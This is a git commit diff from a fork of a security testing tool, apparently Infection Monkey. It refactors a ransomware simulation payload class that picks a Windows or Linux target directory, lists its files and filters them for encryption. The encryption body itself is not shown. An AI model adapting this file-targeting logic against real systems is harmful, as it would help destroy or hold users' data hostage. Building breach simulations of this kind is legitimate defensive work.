forked from p34709852/monkey
agent: Replace self.config with self.target_dir in RansomewarePayload
This commit is contained in:
parent
0b953c8cff
commit
a8ebe6ae76
|
@ -14,25 +14,17 @@ LOG = logging.getLogger(__name__)
|
||||||
|
|
||||||
class RansomewarePayload:
|
class RansomewarePayload:
|
||||||
def __init__(self, config: dict):
|
def __init__(self, config: dict):
|
||||||
self.config = config
|
LOG.info(f"Windows dir configured for encryption is " f"{config['windows_dir']}")
|
||||||
|
LOG.info(f"Linux dir configured for encryption is " f"{config['linux_dir']}")
|
||||||
|
|
||||||
|
self.target_dir = Path(config["windows_dir"] if is_windows_os() else config["linux_dir"])
|
||||||
|
|
||||||
def run_payload(self):
|
def run_payload(self):
|
||||||
LOG.info(
|
|
||||||
f"Windows dir configured for encryption is " f"{self.config['windows_dir_ransom']}"
|
|
||||||
)
|
|
||||||
LOG.info(f"Linux dir configured for encryption is " f"{self.config['linux_dir_ransom']}")
|
|
||||||
|
|
||||||
file_list = self._find_files()
|
file_list = self._find_files()
|
||||||
self._encrypt_files(file_list)
|
self._encrypt_files(file_list)
|
||||||
|
|
||||||
def _find_files(self):
|
def _find_files(self):
|
||||||
dir_path = (
|
all_files = get_all_files_in_directory(self.target_dir)
|
||||||
self.config["windows_dir_ransom"]
|
|
||||||
if is_windows_os()
|
|
||||||
else self.config["linux_dir_ransom"]
|
|
||||||
)
|
|
||||||
|
|
||||||
all_files = get_all_files_in_directory(Path(dir_path))
|
|
||||||
return filter_files(all_files, file_extension_filter(VALID_FILE_EXTENSIONS_FOR_ENCRYPTION))
|
return filter_files(all_files, file_extension_filter(VALID_FILE_EXTENSIONS_FOR_ENCRYPTION))
|
||||||
|
|
||||||
def _encrypt_files(self, file_list):
|
def _encrypt_files(self, file_list):
|
||||||
|
|
Loading…
Reference in New Issue